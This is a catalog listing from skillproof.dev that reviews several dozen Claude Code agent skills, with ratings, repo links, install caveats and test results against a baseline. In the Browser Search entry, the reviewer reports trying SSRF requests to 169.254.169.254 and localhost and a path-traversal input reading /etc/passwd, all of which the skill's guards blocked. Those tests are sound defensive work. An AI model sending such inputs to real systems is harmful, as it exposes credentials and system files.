- **Developmental Coach (Notion)** [setup, 8.8/10] — Integral/meta-reflection coaching persona that saves session notes to a Notion database on request Repo: https://github.com/koreyba/Claude-Skill-Developmental-Coach. Card: https://skillproof.dev/skills/developmental-coach-notion. What we found: The coaching persona itself needs no setup, but the skill's actual differentiator - persistent session memory - is dead on arrival without a pre-configured Notion MCP connection and a 'Developmental Coaching Sessions' database matching its exact Topic/Tags schema; the SKILL.md is honest about this and gates saving strictly behind explicit user request.
- **Cowork Health Check** [pass, 8.8/10] — Interview-style 5-category audit of a Cowork setup with a scored, prioritized fix list. Repo: https://github.com/EAIconsulting/cowork-skills-library. Card: https://skillproof.dev/skills/cowork-health-check. What we found: Ran a simulated interview end to end: it correctly refused to hand out generic advice, tallied a real 13/50 score, and named the exact gap ('Gmail connected but Calendar isn't, so Cowork can't see your schedule for meeting prep') with a concrete next step and time estimate — well ahead of an unstructured baseline answer. Separately, the library's own bundled `install.sh` is broken: it globs a `tier-*/` folder structure the repo no longer has, so running it prints 'Installed 0 skills' while looking successful — use the direct per-skill `cp -r` instead (which is what this catalog entry does).
- **Q Thinking Chain** [pass, 8.8/10] — Three named reasoning techniques -- reframe past the safe answer, destroy an idea, track competing hypotheses. Repo: https://github.com/kju4q/q-claude-skills. Card: https://skillproof.dev/skills/q-thinking-chain. What we found: Ran the adversarial-room technique live on a real pitch (an AI Instagram-caption SaaS for photographers): it isolated one falsifiable fatal assumption ('photographers find captions painful enough to pay for') and named a concrete competitor response, a sharper and more mechanistically faithful result than a hedged pros/cons baseline. The parent repo's own README 'What's inside' catalog never mentions this skill (listed internally as 'Claude Chain') at all, so a user browsing the collection would not discover it exists.
- **Prep For Reset** [setup, 8.8/10] — Writes curated Obsidian Daily/Session Log notes before a context reset, plus a lean handoff. Repo: https://github.com/cobibean/agent-memory-wiki. Card: https://skillproof.dev/skills/prepforreset. What we found: Produces genuinely well-structured, persistent Daily Log + Session Log notes with decisions/lessons/open-loops sections that a plain chat recap never gives you — but it hard-requires a separate `obsidian` companion skill for vault writes that the standard single-folder install command does not pull in, so it silently no-ops on vault resolution unless you install both.
- **Executing Hard Tasks** [pass, 8.8/10] — Forces checkpointed plans and Verified/Believed/Not-checked status buckets before you can say "done". Repo: https://github.com/wsbm393/Fable-Skill. Card: https://skillproof.dev/skills/executing-hard-tasks. What we found: Ran a real mini-task twice (word-frequency function): the baseline pass claimed "done" with no test executed; the skill-guided pass refused that, ran the function, pasted actual output, and hunted an edge case (punctuation-in-word) before allowing a Verified line.
- **Amazon Skill** [pass, 8.8/10] — CLI to search Amazon, pull product details, and build one-click cart URLs from named shopping lists. Repo: https://github.com/idanbeck/claude-skills. Card: https://skillproof.dev/skills/amazon-skill. What we found: Ran cart-url and the full list-save/lists/list-load/list-cart/list-delete cycle for real (local-only, no network) and every command produced the documented JSON with the correct Amazon bulk-cart URL format; search/product/enrich-list scrape live amazon.com HTML so were not exercised against the real site, and that scraping is inherently fragile (selector breakage, blocking) as the skill's own docs admit.
- **Subscope Setup** [setup, 8.8/10] — Reconfigure one piece of an already-onboarded subscope install (LLM, Notion, Slack, Obsidian). Repo: https://github.com/dancolta/subscope. Card: https://skillproof.dev/skills/subscope-setup. What we found: Ran the bundled config writers for real: atomic 0o600 notion.yml/surface.yml writes and the SSRF-guarded LLM base-url check all work exactly as documented. But the skill body needs the sibling engine/ Python package and $CLAUDE_PLUGIN_ROOT — a plain `cp -r skills/setup` per the standard install recipe leaves every scripted step broken, so this only works as a full plugin install.
- **Study Mode Quiz** [setup, 8.8/10] — One-question-at-a-time checkpoint gate that fails hand-wavy answers instead of rubber-stamping progress. Repo: https://github.com/codeprakhar25/claude-study-mode. Card: https://skillproof.dev/skills/quiz. What we found: The quiz skill itself is genuinely stricter than a baseline tutor run (rejects hand-waving, forces the learner to explain/predict/justify before advancing), but a bare `cp -r skills/quiz` copy is non-functional: the SKILL.md depends on a `session=` path being injected by sibling plugin hooks (study-activate.js/study-tracker.js) that reference `${CLAUDE_PLUGIN_ROOT}` and are not part of the skills/quiz folder — install the whole plugin via `/plugin marketplace add codeprakhar25/claude-study-mode` instead of copying the skill folder alone.
- **PlanMySaaS** [pass, 8.8/10] — Turns a one-line SaaS idea into an 8-stage blueprint of markdown files inside Claude Code. Repo: https://github.com/creationskiro/planmysaas-claude-skill. Card: https://skillproof.dev/skills/planmysaas. What we found: Ran the Stage-1 idea-refine prompt as a representative slice of the pipeline for an AI meal-planning app: the baseline was a vague feature list with no persona or price; the skill output named the buyer ('Overloaded Household CFO'), anchored a $8-12/mo price against a takeout order, and forced three explicit anti-goals — but the README's '2 minutes' claim for all 9 files (including an 80-120-line-per-step build playbook) reads as optimistic given the pipeline's own stated depth requirements.
- **Time Ledger** [setup, 8.8/10] — Parses plain-language time reports into structured rows and writes them to your Notion time-ledger database. Repo: https://github.com/cruisekkk/time-ledger. Card: https://skillproof.dev/skills/time-ledger. What we found: The single-file SKILL.md is well-designed (explicit no-fabrication contract, batch-ask discipline, a documented Notion MCP date-field bug workaround) but needs real manual setup first -- duplicate a Notion template, grant a Notion MCP connector to one specific database -- and I could not verify the actual Notion write in this sandbox since no Notion MCP tool is connected here.
- **Signal Flare** [setup, 8.8/10] — 5-stage regulatory-escalation framework for legitimate users stuck in dead platform-support loops. Repo: https://github.com/ChrisPirillo/signal-flare. Card: https://skillproof.dev/skills/signal-flare. What we found: Unusually well-guarded for a high-stakes skill — a hard ownership-verification gate, a mandatory outline-before-prose protocol on every regulatory document, and an explicit ban on inventing facts or naming legal theories. But platforms/discord.md instructs Claude to read three Discord-specific templates (server-transfer-request.md, server-restoration-request.md, discord-partner-escalation.md) that don't exist anywhere in the repo — a real dead end for Discord server-hijacking cases specifically, undisclosed in STATUS.md or the README.
- **Regulatory Review** [setup, 8.8/10] — Structured regulatory-landscape and compliance-risk research reports Repo: https://github.com/zircote/sigint. Card: https://skillproof.dev/skills/regulatory-review. What we found: Ran a real US-to-EU telehealth regulatory review both ad hoc and skill-guided: the skill version added a compliance-cost table, an INC/DEC/CONST risk-trend matrix, and named monitoring sources the ad hoc answer never produced. But its 'Load trend indicator definitions from protocols/TREND-INDICATORS.md' points outside the skill folder into the shared sigint repo root, so a standalone copy silently loses the formal/extended notation (the basic INC/DEC/CONST format is luckily also inlined in SKILL.md itself, so core output isn't broken).
- **AI News Fetcher** [pass, 8.8/10] — Turns AI-news web searches into a dated, deduped, categorized digest with grounded stat cards. Repo: https://github.com/MohamedMamdouh18/AI-News-Fetcher. Card: https://skillproof.dev/skills/ai-news-fetcher. What we found: Ran a real 'AI news this week' digest with it: the mandatory calendar-date rule automatically dropped a Q2 SpaceX/Cursor $60B acquisition story that a freeform baseline summary kept as if it were fresh, and a reconciliation check caught a secondary aggregator's fabricated-looking 'Harvey AI $200M Series C, July 2026' claim -- Harvey's actual Series C was 2024 and its real latest round was a $200M Growth round at $11B, not $2.1B.
- **Add Task** [setup, 8.8/10] — One-pass task capture into your Obsidian vault with dedupe and priority parsing. Repo: https://github.com/AdrianV101/obsidian-pkm-plugin. Card: https://skillproof.dev/skills/add-task. What we found: Ran the full 6-step flow live against the real vault-pkm MCP server (npx obsidian-pkm, scratch vault) — task note was created with the exact documented frontmatter schema and the duplicate-check step worked; but the bare skill folder is inert on its own since the MCP server, VAULT_PATH env var, and a vault init (to populate 05-Templates/) live outside skills/add-task and must be installed/configured separately.
- **Research Mode** [pass, 8.8/10] — Toggle that forces citations, source grounding and honest "I don't know" answers Repo: https://github.com/assafkip/research-mode. Card: https://skillproof.dev/skills/research-mode. What we found: Task (neither I nor baseline knew the answer beforehand): 'in the ego-lite repository — what is the default timeout for page.goto and how many people are on the citrolabs team?'. Baseline without skill answered from memory and by analogy with Playwright: 'probably 30000 ms' and 'a small startup, somewhere 10-20 people' — both statements without a source. Running with the skill's body (Level 1 — local files, Grep+Read before any web access) yielded `package/ego-browser/src/state.ts:37: defaultTimeout: 10000` — i.e., 10000 ms, baseline was wrong by exactly 3 times; for team size, grep on README.md and docs/ yielded nothing, and the skill requires answering 'cannot cite source' instead of an estimate. Result: baseline — 1 incorrect fact + 1 fabricated, skill — 1 correct fact with file and line specified + 1 explicit 'I don't know', with zero web requests from a budget of 5/3. Installation checked by copy-pasting into an empty directory; SKILL.md is in the repo root, not in skills/, so a naive `cp -r skills/...` would not have worked here — the command above accounts for this. Caveat: Level 4 of the cascade relies on Scholar Gateway MCP, which is not in the repository and which I did not check.
- **Industry Intelligence Radar** [pass, 8.8/10] — Zero-dependency scanner that aggregates HN, V2EX and RSS into a signal-graded daily industry briefing Repo: https://github.com/chubbyguan/chubbyskills. Card: https://skillproof.dev/skills/industry-intelligence-radar. What we found: Ran the bundled scan.py live: one command pulled 223 raw Hacker News stories over 72h and filtered them to 86 keyword-matched, signal-graded items with real current headlines (DeepSeek IPO, delayed Gemini, Starship scrub), all deduped and sorted high-signal-first. A no-skill baseline of manual searches can't reproduce that breadth or reproducibility. Standard-library only, no API keys; V2EX endpoint is flaky so HN carries the load.
- **Canvas** [pass, 8.8/10] — Add images, notes and cards to Obsidian canvas files with auto-layout Repo: https://github.com/AgriciDaniel/claude-obsidian. Card: https://skillproof.dev/skills/canvas. What we found: Executed the skill's own auto-positioning algorithm to drop three text cards into a zone: it produced 0 overlapping pairs with correct row-wrapping inside the zone bounds, versus a naive from-scratch layout that stacked all three at (0,0) with 3 overlapping pairs. Output is valid JSON Canvas 1.0 with stable timestamped IDs and proper group/zone structure. Trigger phrases are specific and correctly exclude HTML5-canvas requests. Honest docs that point to kepano's json-canvas skill as the authoritative spec.
- **WeChat Article Assets Library** [pass, 8.8/10] — Ingests business images and imports .aws preset packs into a local content library Repo: https://github.com/aiworkskills/wechat-article-skills. Card: https://skillproof.dev/skills/aws-wechat-article-assets. What we found: Ran both bundled scripts live: image ingest built the .aws-article/products/{name}/images/ tree with a matching description .md, and the preset importer merged a hand-built .aws ZIP, copied config on first run, and wrote only key names (not values) to aws.env. The safety claims hold under test: it rejected a non-whitelisted download host and ships ZIP-slip path-traversal defense. Versus manually copying files and unzipping by hand, the scripts add real structure plus credential and archive safety. The capability-disclosure section matched observed behavior line for line, with no overselling.
- **Agent Team Manager** [setup, 8.8/10] — CLI to manage CountBot multi-agent teams: CRUD, members, per-team models Repo: https://github.com/countbot-ai/CountBot. Card: https://skillproof.dev/skills/agent-team-manager. What we found: Booted a real CountBot backend (uvicorn plus SQLite) and ran the skill end to end: template create, member add, task rewrite, team model config (zhipu/glm-5), and a pipeline-to-graph mode switch all succeeded first try with zero syntax errors, exactly as the strict-syntax notes promise. The docs are unusually honest — the documented positional-argument pitfalls and the 'prompt lives in task, not system_prompt' guidance both matched real behavior. The baseline is harder than it looks: the backend exposes no /openapi.json, and member updates require a whole-array read-modify-write that the script handles for you. The catch: nothing works until you install and launch the full CountBot application on localhost:8000 — this is a companion skill to that product, not a standalone tool.
- **Alibaba Cloud ECS Windows Troubleshooting** [pass, 8.8/10] — Evidence-first Windows ECS diagnostics: routed checks, scripts, gated fixes Repo: https://github.com/aliyun/alibabacloud-ecs-troubleshoot-skills. Card: https://skillproof.dev/skills/alibabacloud-ecs-windows-online-troubleshooting. What we found: Routed a real 'RDP fails with An internal error has occurred' case through the bundled routing table: it matched the certificate reference exactly and led straight to MachineKeys ACL and f686aace* TLS private-key permission checks that the no-skill baseline missed entirely — the baseline stopped at the generic delete-cert-and-restart remedy in the wrong order. The 36 reference files carry runnable, evidence-first PowerShell with per-step normal/abnormal verdicts, severity levels, and fixes that are never auto-executed. Scripts were verified for technical accuracy but not executed on a live Windows host (none available); the delta was measured on the produced diagnostic artifact. Note: the skill body is written in Chinese, though its trigger description is English.
- **Compound Learnings** [setup, 8.4/10] — Mines past session-learnings logs for repeated patterns and codifies them as rules, skills, or hooks. Repo: https://github.com/parcadei/Continuous-Claude-v3. Card: https://skillproof.dev/skills/compound-learnings. What we found: Its only input has to be populated by a separate session-logging hook that ships with a different framework, not this skill folder - copied standalone it has nothing to analyze until that pipeline exists.
- **Azure: Arize Observability (.NET)** [pass, 8.4/10] — Manages Arize AI observability resources on Azure Marketplace via the .NET SDK. Repo: https://github.com/microsoft/skills. Card: https://skillproof.dev/skills/azure-mgmt-arizeaiobservabilityeval-dotnet. What we found: Tested install (verbatim git clone + cp, clean; single-file SKILL.md with strict-valid YAML frontmatter), trigger battery (4/4 fire, 2/2 decline; minor over-broad risk from listing generic "ML observability" as a trigger keyword), and a code-authoring A/B where both arms wrote a CreateArizeOrgAsync method to provision an Arize organization ARM resource. The skill produced correct, compilable code using the real SDK types (ArizeAIObservabilityEvalOrganizationCollection/Data/Resource, GetArizeAIObservabilityEvalOrganizations, Marketplace/OfferDetails/UserDetails) verified against Microsoft Learn, while the base arm hallucinated non-existent shorter type names (ArizeOrganizationResource, GetArizeOrganizations, ArizePlanDetails) that would not compile. Needs an Azure subscription, the dotnet SDK, and the Azure.ResourceManager.ArizeAIObservabilityEval NuGet package to run live; validated here on code authoring only, no Azure calls made.
- **Azure: MongoDB Atlas (.NET)** [pass, 8.4/10] — Manages MongoDB Atlas organizations as Azure ARM resources via the .NET SDK. Repo: https://github.com/microsoft/skills. Card: https://skillproof.dev/skills/azure-mgmt-mongodbatlas-dotnet. What we found: Tested install (verbatim clone+copy of a single self-contained SKILL.md, strict-YAML frontmatter parses), trigger (well-scoped description that correctly excludes adjacent Atlas-cluster/Cosmos prompts), and a code-authoring task: write a C# CreateAtlasOrgAsync method against the Azure.ResourceManager.MongoDBAtlas ARM resource provider. A/B: the skill produced the correct documented type surface (MongoDBAtlasMarketplaceDetails + nested MongoDBAtlasOfferDetails, MongoDBAtlasUserDetails, MongoDBAtlasPartnerProperties.OrganizationName), while the no-skill base invented plausible-but-wrong type names (MongoDBAtlasOrganizationMarketplaceDetails/-UserDetails/-Details) and flattened offer fields into the marketplace constructor with TermId misplaced — the skill's Microsoft reference clearly beat base general Azure knowledge. Scope limit: manages the Azure-side ARM organization resource only, not Atlas clusters/databases; needs an Azure subscription + dotnet + 3 NuGet packages (Azure.ResourceManager.MongoDBAtlas, Azure.Identity, Azure.ResourceManager) to run live, tested here on code-authoring only.
- **Project Planner** [pass, 8.4/10] — Generates traceable requirements/design/task-breakdown docs for a new software project. Repo: https://github.com/adrianpuiu/claude-skills-marketplace. Card: https://skillproof.dev/skills/project-planner. What we found: Generated planning docs for a toy task-tracker app: the skill version numbered every requirement (REQ-1..4) with SHALL/WHEN/IF acceptance criteria and traced every implementation task back to a requirement ID, while the unguided baseline was a plain bullet list an AI coder would have to interpret loosely. Docs score got knocked down because the README's 'python scripts/generate_project_docs.py' quick-start and the bundled references/domain-templates.md are never actually invoked by SKILL.md's own instructions.
- **Daily Meeting Update** [pass, 8.4/10] — Consent-gated standup generator: interviews you, optionally pulls GitHub/Jira/Claude Code history. Repo: https://github.com/softaworks/agent-toolkit. Card: https://skillproof.dev/skills/daily-meeting-update. What we found: Its bundled claude_digest.py genuinely parses ~/.claude/projects/*/*.jsonl into a standup-ready JSON digest (verified against a live session directory) rather than being a stub the SKILL.md merely describes.
- **Presentation (Marp)** [setup, 8.4/10] — Turns an outline into a Marp slide deck exported to PDF, PPTX, or HTML. Repo: https://github.com/AlekseiUL/sprut-agent-kit. Card: https://skillproof.dev/skills/presentation. What we found: Actually rendered a 4-slide Marp deck from the skill's own workflow (real HTML output, correct titles/content); the PDF/PPTX path the skill leads with hung indefinitely because marp-cli silently needs to download Chromium on first run, and the SKILL.md never mentions installing marp-cli at all.
- **Wiki Config** [pass, 8.4/10] — Interactive setup, validation, and repair for the llm-wiki skill suite's config, schema, and templates. Repo: https://github.com/vanillaflava/llm-wiki-skills. Card: https://skillproof.dev/skills/wiki-config. What we found: Actually ran the Step 2 Init flow with the repo's real bundled assets: it produces a validated wiki-config.md (blacklist/index_excludes/ingested_folder fields), a schema file, and all 13 page templates, versus an unguided setup that just invents a random config with fields the operational wiki skills wouldn't even recognize. One real gap: the SKILL.md instructs copying `assets/templates/README.md` into the templates folder, but that file does not exist anywhere in the repo.
- **Aicoo** [setup, 8.4/10] — Share your Claude agent via scoped links and sync notes/context to the third-party Aicoo (Pulse Protocol) service. Repo: https://github.com/Aicoo-Team/AICOO-Skills. Card: https://skillproof.dev/skills/aicoo. What we found: The whole skill is inert until a real Aicoo.io account and AICOO_API_KEY exist (a sign-up step this test can't perform); once granted, the documented dedup-before-write flow (search then snapshot then patch) is a genuinely more careful sync procedure than 'just call an endpoint'.
- **Agent Startup And Context Ingestion** [pass, 8.4/10] — Four named failure modes for why agents boot up confidently executing stale or scattered context. Repo: https://github.com/mvschwarz/openrig. Card: https://skillproof.dev/skills/agent-startup-and-context-ingestion. What we found: Ran a 3-agent planner/coder/reviewer startup scenario through it: it named a verification step ('agent restates role/mode/handoff convention in its own words') that generic AGENTS.md advice never includes — but roughly a third of its remediation steps (rig whoami, Agent Starter manifests, broadcast+fleet-changes-feed rollout) only work inside the OpenRig product itself.
- **VitaeContext Context Builder** [setup, 8.4/10] — Consolidates CV, LinkedIn, GitHub and bio facts into one factual career source-of-truth file. Repo: https://github.com/vitaecontext/vitaecontext. Card: https://skillproof.dev/skills/agentkit-seo-agent-context-optimization. What we found: Real gap: the assign slug points at the repo's router skill, but the description actually matches the sibling `vitaecontext-build` module 3 folders over -- install that one, not the repo-level one. Its wiki explicitly links `../../vitaecontext/wiki/vitaecontext.md`, a sibling skill's file that vanishes the moment you cp -r just this module standalone (verified: path resolves to nothing after isolated copy), though the skill's own text degrades gracefully and keeps working off its local references/ files.
- **Breaking Down the Work** [setup, 8.4/10] — Product-first work breakdown (100% rule, no overlaps, dictionary) before folders exist Repo: https://github.com/FlyFission/nuclear-grade-context-engineering. Card: https://skillproof.dev/skills/breaking-down-the-work. What we found: The method itself is sound and self-contained in prose, but the SKILL.md leans on templates/standard/wbs.md, templates/standard/stage-contract.md and docs/02-operating-system/agentic-workflow-architecture.md plus five sibling skills (organizing-project-folders, briefing-an-agent, handing-off-work, staying-on-mission, recording-a-known-good-version) that all live outside skills/breaking-down-the-work/ — a GitHub-only leaf-folder clone leaves those missing.
- **Agent System Prompt Architect** [pass, 8.4/10] — Turns rough agent requirements into a layered, deployable system prompt. Repo: https://github.com/CR-730/agent-system-prompt-architect-skill. Card: https://skillproof.dev/skills/agent-system-prompt-architect. What we found: Same expense-tracker system-prompt task: the skill version added concrete tool-call decision criteria and a mandatory disambiguate-before-delete procedure that the baseline only covered as a vague 'confirm before deleting' rule — a real, checkable uplift. The README's headline 0.917-vs-0.554 benchmark number lives in a gitignored evals-workspace/ folder not present in the repo, so it can't actually be verified.
- **BMAD Analyst** [setup, 8.4/10] — Structured product-brief/research/brainstorm skill with a real completeness-checking script — but built for OpenAI Codex, not Claude Repo: https://github.com/xmm/codex-bmad-skills. Card: https://skillproof.dev/skills/bmad-analyst. What we found: Ran the bundled scripts/validate-brief.sh against two real product briefs for the same feature: a freeform baseline scored 36% complete (7 of 11 required sections missing), the skill's own template-guided version scored 100% — objective, script-checked, not a judgment call. The catch: this repo is built and documented exclusively for OpenAI Codex (Codex-only installers, ~/.agents/skills target, requires yq+python3), has no Claude Code install path of its own, and its attribution note reveals a Claude-Code-native BMAD fork already exists upstream (aj-geddes/claude-code-bmad-skills) that this was ported FROM — that's arguably the better catalog pick.
- **Task Estimator** [pass, 8.4/10] — Turns 'is this bounty worth it' into a phase-by-phase token budget, USD compute cost, and PROFITABLE/LOSS verdict. Repo: https://github.com/daydreamsai/skills-market. Card: https://skillproof.dev/skills/task-estimator. What we found: The phase/token tables and three worked examples are genuinely well-built and self-contained, but the 'live pricing' line invokes a `fetch-model-pricing` command that does not exist anywhere in the repo or as any known tool — it's decorative, not functional.
- **KB Init** [setup, 8.4/10] — Bootstraps an Obsidian vault as an LLM-maintained knowledge base - plugins, schema, and report preferences in one flow. Repo: https://github.com/rvk7895/llm-knowledge-bases. Card: https://skillproof.dev/skills/kb-init. What we found: The underlying install script is real and works - ran plugins/kb/setup.sh --only dataview against a throwaway vault and it pulled and installed the actual Dataview 0.5.70 release from GitHub - but the skill only functions as part of the 'kb' plugin bundle: copying just plugins/kb/skills/kb-init/ (the verbatim single-skill install path) leaves setup.sh and references/report-style-guide.md behind, so the copied skill's own required Bash step and reference lookup have nothing to call.
- **Sync Skills** [setup, 8.4/10] — Scans local Claude Code skills, genericizes them, and registers them into a shared skills repo. Repo: https://github.com/qa-aman/claude-skills. Card: https://skillproof.dev/skills/sync-skills. What we found: Real friction: the skill's own body calls scripts/init_skill.py, scripts/validate_skill.py, and skills.json at the repo root, none of which survive a plain `cp -r` of just the skill folder — you must keep the whole qa-aman/claude-skills repo as your working directory for this to do anything beyond producing loose genericized text.
- **Find Tested Skills** [pass, 8.4/10] — Queries SkillProof's live catalog for tested skill recommendations, not guesses. Repo: https://github.com/Skillproofdev/find-tested-skills. Card: https://skillproof.dev/skills/find-tested-skills. What we found: Live-queried the real catalog (category=data, q=sql) and got back genuine scored, tested skills with working install commands in under a second — but the top hit was an Electron app's encrypted-SQLite migration tool, showing the raw keyword match still needs the orchestrating Claude to apply real fit-judgment rather than just relaying results. Also worth flagging since this is SkillProof's own skill: Beat 4 instructs it to pitch SkillProof's own $10 packs, a monetization behavior the README never mentions when describing what the skill does.
- **Journal Recall** [setup, 8.4/10] — Searches and summarizes an existing Obsidian-style work journal by date, keyword, or project. Repo: https://github.com/backspace-shmackspace/claude-devkit. Card: https://skillproof.dev/skills/journal-recall. What we found: Solid retrieval workflow, but it hardcodes JOURNAL_BASE=~/journal/ and assumes entries already exist in that exact daily/meetings/projects schema, created by a separate companion 'journal' skill in the same repo, not this one. Install it alone on a fresh machine and the very first query returns 'no entries found' because there's no journal yet.
- **Scriba** [setup, 8.4/10] — Local speaker-diarized meeting transcription (whisperX + pyannote), then rename Speaker 1/2 to real names. Repo: https://github.com/AlexanderAbramovPav/scriba. Card: https://skillproof.dev/skills/scriba. What we found: Ran its own real formatter end-to-end on a synthetic diarized transcript: correct 62%/38% talk-time math, clean speaker-ID section with sample quotes, then a working rename pass (Speaker 1/2 -> real names) -- genuinely better than a naive baseline render. Full ASR+diarization couldn't be exercised: it needs `uv` (not installed here) plus a free HuggingFace account and a 3-click gated-model consent flow before a ~3GB download even starts, exactly as SKILL.md itself discloses.
- **Agent Types** [setup, 8.4/10] — Reference catalog matching built-in and plugin agent types (Explore, Plan, sdlc:*, swarm:rlm-*) to tasks. Repo: https://github.com/zircote/claude-team-orchestration. Card: https://skillproof.dev/skills/agent-types. What we found: A verbatim single-folder copy breaks: the skill's own body links to 4 sibling skills (../orchestrating, ../team-management, ../orchestration-patterns, ../rlm-pattern) that live outside the agent-types folder in the source repo, and roughly two-thirds of the document's content (the whole 'Plugin Agent Types' catalog: sdlc:*, feature-dev:*, refactor:*, code-simplifier:*, adr:*, swarm:rlm-*, auto-harness:*, human-voice:*) only works if the user has separately installed each of those 8 named plugins, which the doc never flags as a prerequisite.
- **Fable Mode** [pass, 8.4/10] — Explicit intent-locking routing mode: caps depth, tools, and delegation per task before acting. Repo: https://github.com/Nam-Cheol/codex-fable-mode. Card: https://skillproof.dev/skills/fable-mode. What we found: A pure-documentation behavioral skill (no scripts, no network calls) that makes its effect visible: following it strictly produces a literal 'Fable route: Lock=... Layer=... Procedure=... Tool=... Grounding=... Delegation=...' contract line and a forced codebase-grounding check before implementing, both of which the unguided baseline skipped.
- **Narrator Speed** [setup, 8.4/10] — Reads/writes the claude-code-narrator TTS speed setting from natural-language requests. Repo: https://github.com/shreyas-s-rao/claude-code-narrator. Card: https://skillproof.dev/skills/speed. What we found: Steps 1-3 (read current speed, apply +/-0.2 or an explicit value, write it to ~/.claude-code-narrator/config) work correctly copied standalone — verified end to end against a seeded config. Step 4's confirmation playback shells out to ${CLAUDE_PLUGIN_ROOT}/hooks/scripts/speak.sh, which only resolves when the whole narrator plugin is installed, not a bare skill-folder copy, so the audible confirmation silently breaks under the standard install path.
- **Zotero Search** [setup, 8.4/10] — Search a local Zotero library and expand into Semantic Scholar citations via the pyzotero CLI. Repo: https://github.com/urschrei/zotero_search_skill. Card: https://skillproof.dev/skills/zotero-search. What we found: Installed the real pyzotero[cli] via uvx and confirmed every documented subcommand exists (search, s2search, related, citations, doiindex, etc.); the local-Zotero connection failed with exactly the documented error since no desktop instance was running here, and Semantic Scholar calls hit genuine (rate-limited) upstream responses rather than fabricated data — real integration, just couldn't complete a full run without a live Zotero desktop.
- **Finance Idea Screening** [setup, 8.4/10] — Six-dimension rubric and kill/revise/go decision rules for corporate-finance research ideas. Repo: https://github.com/Agentic-Assets/corbis-literature-starter-kit. Card: https://skillproof.dev/skills/finance-idea-screening. What we found: The scoring framework (desk-editor screen, six-dimension rubric, Go/Revise/Kill thresholds) works standalone and turned a vague 'sounds interesting, check the literature' into an explicit Revise verdict with named hurdles -- but the skill's own centerpiece rule, 'never claim an idea is novel without searching first,' requires a paid Corbis MCP API key that the copied SKILL.md never mentions (it's only disclosed in the repo's separate README/setup docs, not in the file you'd actually cp into ~/.claude/skills).
- **Fable Domain** [pass, 8.4/10] — Generates a sourced domain workflow: adapter, flowchart, trap fixture, eval Repo: https://github.com/Sahir619/fable-method. Card: https://skillproof.dev/skills/fable-domain. What we found: Task: assemble a fable-method domain adapter for the new 'localization / translation QA' sector — first without skill, then strictly according to the skill's body. Baseline run (I copied the schema from an existing marketing.md) yielded 39 lines, 6/8 mandatory TEMPLATE.md sections, zero sources, and no flowcharts. Skill run yielded 74 lines, 8/8 sections, a mermaid flowchart, and 3 sources with access dates, of which I actually verified CLDR plural rules via fetch and confirmed six categories and minimal pairs; ISO 17100 confirmed the requirement for bilingual revision by a second linguist. The repository's own CI (python .github/checks.py) passed green on both adapters — it only greps two headers, so the real difference was provided by the skill itself, not CI. Honesty spot-check: README statements (Haiku 2→6, Sonnet 9→10, Opus 8→9) matched committed eval/results/round12-13 to the point, including zeros unfavorable to the author. Minus: the repository's install.sh does not install fable-domain at all (0 mentions), and the skill's body refers to references/domains/TEMPLATE.md, which is located in the fable-method skill — hence two `cp` lines in install; I did not run the trap-fixture and smoke-eval from Stage 3-4, and this was not checked.
- **Harness** [setup, 8.4/10] — Meta-skill that scaffolds an agent team, its skills and an orchestrator Repo: https://github.com/revfactory/harness. Card: https://skillproof.dev/skills/harness. What we found: Task: build a harness for the "customer review analysis" domain — first baseline (as I do by default), then strictly following the skill's body, and check both results with a script against the skill's own checklist. The gap was measurable: baseline yielded 2 ad-hoc agent files, 0 skills, 0/2 agents with mandatory sections, no orchestrator, no error handling, no test scenarios; the skill version — 3 agents, all 3/3 with a full set of 6 mandatory sections (核心役割/作業原則/入出力プロトコル/팀 통신/エラ- 핸들링/협업), 2 skills with valid frontmatter, an orchestrator with an error table and protection against infinite reject loops, a CLAUDE.md pointer, 0 files in .claude/commands (as required by the checklist). Stage 0 was clean: only markdown, no scripts, no network calls; writing to CLAUDE.md was the declared goal of the skill, not a hidden escalation. Honest boundary: I checked the structural completeness of the scaffold, but DID NOT execute the generated agent command on real data — I did not reproduce the claimed quality increase of +60% (n=15, author's measurement), and README itself marks it as «third-party replications pending». Verdict setup due to a real manual step: the skill's main mode is agent teams, which requires the experimental flag CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1; plus the skill strictly prescribes model: opus for all agents, which decides the cost issue for the user.
- **Browser Search** [setup, 8.4/10] — Stealth browser fetch and multi-engine search for AI web research Repo: https://github.com/Johell1NS/browser-search. Card: https://skillproof.dev/skills/browser-search. What we found: Task: extract title and text from the JS-rendered page quotes.toscrape.com/js — baseline with bare curl against the cloak-fetch.mjs bundle. Baseline was useless: after tag removal, 0 quotes (content was client-side rendered); the skill launched stealth-Chromium and returned title 'Quotes to Scrape', 1499 characters, and all 10 quotes in 6.6 s. Security claims were verified live, not by text: SSRF-block worked on 169.254.169.254 ('Blocked IP') and localhost ('Blocked hostname'), path-traversal guard repelled --script /etc/passwd, and bundled tests gave 28/28 and 12/12 passed. Main caveat: 2 out of 3 tools (SearXNG and Camofox) required Docker, which was not in the environment — I DID NOT measure them; the flagship 'multi-engine search' remained unchecked, and its own check.sh honestly showed this. Another inaccuracy: SKILL.md promised 'all commands/scripts are read-only, safe in Plan mode', but the very first run of cloak-fetch downloaded 140 MB of Chromium to ~/.cloakbrowser. Docker + two containers — real manual work, hence setup.
- **Open-Forge** [setup, 8.4/10] — Guided, resumable self-hosting of open-source apps on infra you own Repo: https://github.com/zhangqi444/open-forge. Card: https://skillproof.dev/skills/open-forge. What we found: The Ghost-on-Lightsail recipe carried the exact specifics a from-scratch plan tends to miss -- blueprint_id ghost_5, bncert-tool for TLS (not certbot), allocate-static-IP-before-DNS, the bitnami SSH user -- across 2250 bundled reference files that back the '2216+ recipes' claim. Could not run a deploy end to end because it needs a real AWS account, a domain and payment, so the beat-baseline edge is verified on the runbook, not on a live site.
- **Graph (Knowledge Graph Analysis)** [pass, 8.4/10] — Structural analysis of a wiki-linked note vault: orphans, dangling links, triangles, hubs Repo: https://github.com/agenticnotetaking/arscontexta. Card: https://skillproof.dev/skills/graph. What we found: Ran the skill's inline health analysis against a 6-note test vault: it correctly computed link density, flagged both genuine orphans (an isolated note and the MOC) and caught the one dangling link to a non-existent note — reproducible metrics a freehand read misses at scale. Fully self-contained bash, no external scripts required, clean read-only operations. Minor doc nit: skill.json names it 'knowledge-graph' on model opus while the frontmatter says 'graph' on sonnet.
